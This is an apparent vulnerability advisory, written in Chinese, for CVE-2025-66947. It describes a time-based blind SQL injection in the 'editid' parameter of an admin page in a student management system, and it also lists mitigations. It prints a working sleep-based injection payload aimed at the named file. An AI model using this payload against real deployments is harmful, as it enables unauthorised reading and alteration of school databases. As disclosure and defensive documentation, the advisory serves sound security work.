CVE-2025-66947

krishanmuraiji SMS v1.0 中的基于时间的盲SQL注入

⏱️ 视觉效果对比：正常响应 vs 约6秒延迟响应

🔍 摘要

TL;DR: 管理员模块中的GET参数通过响应延迟实现了基于时间的SQL注入。

在 krishanmuraiji SMS v1.0 中存在一个基于时间的盲SQL注入漏洞，原因是管理模块中一个GET参数未经过恰当的验证。

---

🎯 受影响组件

• 文件: /studentms/admin/edit-class-detail.php
• 参数: editid (GET)
• 问题: 未经过滤的输入直接用于SQL查询

🧪 概念验证 (PoC)

第一步 — 正常请求

/studentms/admin/edit-class-detail.php?editid=12

第二步 — 注入基于时间的Payload

/studentms/admin/edit-class-detail.php?editid=12*if(now()=sysdate(),sleep(6),0)

预期结果

• 服务器响应延迟约 6秒
• 无可见错误信息
• 延迟确认SQL注入存在

⏱️ 时间验证

延迟一致 = SQL注入确认

📌 此模式出现的位置

此漏洞模式常见于：

• PHP CRUD应用
• 学生/图书馆/库存管理系统
• 信任数字GET参数的管理面板
• 禁用SQL错误信息的应用

🛡️ 影响

• 数据库信息泄露
• 未授权数据修改
• 权限提升
• 后端数据库受损

🧠 为何重要

即使需要身份验证且错误信息被隐藏， 基于时间的SQL注入仍然可被利用且危险。

严重性: 高

🔧 缓解措施

• 使用预处理语句
• 验证数字参数
• 避免SQL查询拼接
• 应用最小权限数据库访问

🆔 CVE

CVE-2025-66947

👤 发现者

Ranjan Kumar

⚠️ 免责声明

本PoC仅用于教育和防御目的。

CVE-2025-66947, SQL注入, 基于时间的盲SQL注入, PHP, 管理面板